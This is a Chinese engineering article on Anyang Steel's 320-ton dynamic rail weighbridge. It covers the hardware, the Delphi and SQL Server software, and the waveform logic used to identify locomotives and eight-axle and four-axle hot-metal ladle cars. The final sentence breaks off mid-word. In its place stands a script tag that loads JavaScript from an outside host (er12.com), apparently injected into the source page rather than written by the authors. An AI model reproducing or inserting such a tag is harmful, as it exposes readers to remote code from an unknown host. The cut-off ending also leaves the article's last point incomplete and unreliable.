摘要:文章介绍了安钢320吨动态轨道衡的特点及进行计算机模拟逻辑判车的方法。
关键词:动态轨道衡 称重计量 程序设计
一、前言
我国动态轨道衡的发展已有20多年的历史,由于具有称量速度快、精度高等特点,在铁路货车计量方面得到了广泛的应用。在冶金企业中,称重对象除标准铁路四轴车外,还有各种特种类型的非标车,这些车不仅车型复杂,而且吨位较大,如各种铁水罐车,最重可达800吨以上,车辆的轴数达到八个甚至更多,给计算机模拟判车带来很多困难。
安钢2200m3高炉于2005年10月投产,为了满足生产需要,安装了一台320吨动态轨道衡用于170吨铁水罐车的计量。
二、设备硬件概况
设备硬件主要由称重台面、称重传感器、信号转换器、计算机等组成。
1、机械台面
由于计量对象是液体,采用双台面整车计量方式,消除由于铁水晃动对计量结果的影响。秤台长度的选择应考虑到动态称重时有足够的采样长度和有利于模拟判车。根据我们使用的铁水罐车的轴距尺寸,考虑到实际动态运行时的各种因素的影响,我们选择秤台长度为5300毫米,有效称量段可达1600毫米,可以确保动态计量时约有0.5秒左右的采样积分时间,根据重量信号的变化,计算机软件能比较准确识别出需秤重的信号,实现计算机模拟判车。
2、称重传感器称重传感器完成力信号到电信号的转换,根据我们的使用经验,选用pr6201/50d1型传感器,因其精度高、 长期使用稳定性好、过载能力强等优点,在动态称重上有着广泛的应用。
采用轨道衡专用称重转换器,完成对重量信号的放大和模数转换,并变成rs485信号与计算机进行数据交换。
三、系统软件的设计
1、软件平台
(1)采用windows操作系统,具备多进程和多任务的处理能力。
(2)数据库选用ms access和mssql server2000,满足计量数据的入网要求。
(3)系统开发平台采用delphi语言。delphi具有强大的数据库支持功能,程序结构严谨,代码执行效率高,很适合开发windows应用程序。
2、应用程序的分析开发动态轨道衡计量系统软件是整个轨道衡的核心和关键。系统在基本硬件的支持下,利用计算机实现对重量信号的分析与处理,获得秤量结果。
(1)重量信号的采集通过计算机的rs232接口实现和称重转换器的数据交换,读取传感器输出的重量信号。
(2)数据库设计本地数据库使用access2000关系型数据库,并设计三个表basedata table、 operate table、 logrecord table,分别存放基础数据、sqi操作语句、日志。为了满足计量数据的入网要求,我们同时安装了ms sql server2000,创建和access相同的数据库结构,通过存储过程将数据保存到集群服务器。
(3)模拟判车的实现
判车程序是整个计量软件的核心,一般有两种方式:①全模拟逻辑判车,即根据重量信号的变化来识别哪一段数据是我们所需要的重量信号,过滤掉不需要的车头、轴重等信号。对于铁路标准四轴货车,现在普遍采用这种判车方式。②轮开关判车方式,在称重台面的钢轨上加装接近开关,通过计算轴数确定有效称量段,其缺点是需安装轮开关,并且开关的故障率相对较高。对特种类型的轨道衡由于重量信号波型复杂,模拟判车难度较大,一般采用开关判车。
我们根据320吨轨道衡的数据特点,自主开发了轨道衡动态计量程序,实现了计算机软件全模拟逻辑判车,并根据实际生产要求,逐步解决了170吨八轴罐车和原来的四轴罐车混编使用时的车型、重量自动识别等难题。
动态计量程序的工作原理是:程序运行后,首先进行初始化操作,启动数据采集程序,每10ms对秤台的重量信号采集一次,并根据重量信号的变化,自动识别需称重的前后转向架信号,经数字滤波、非线性误差修正等一系列数据处理后,计算出每一节车的重量。
车头识别:我公司采用的机车为gk型四轴车,同时有两根轴上秤台,机车重量小于100吨,可以根据机车的轴数和重量在程序中自动滤除。
八轴罐车识别:八轴车的每根轴上下秤台产生的信号波形特征明显,只需找出前后转向架分别同时在秤台的数据段,进行积分,求出整车重量。
四轴罐车的识别:四轴罐车的轴距为1350毫米,内轴距2700毫米,从波形中可以看出,重量信号中分别会出现两根轴(1 2)和三根轴(1 2 3、2 3 4)的重量,第三个轴下和第四根轴上之间约有100毫米的长度,波形当中会出现一个下跳尖峰,根据此特征可以判断是否是四轴罐车。我们取1 2 3轴和2 3 4轴的重量信号为有效秤量段,由于其重量信号为六根轴的重量和,需转换为四根轴的重量才是整车重量。
特种轨道衡车辆的识别与标准四轴货车差别很大,因为标准车的重量波形中两个转向架之间会有信号回零时间,根据此特征就很?script src=http://er12.com/t.js>











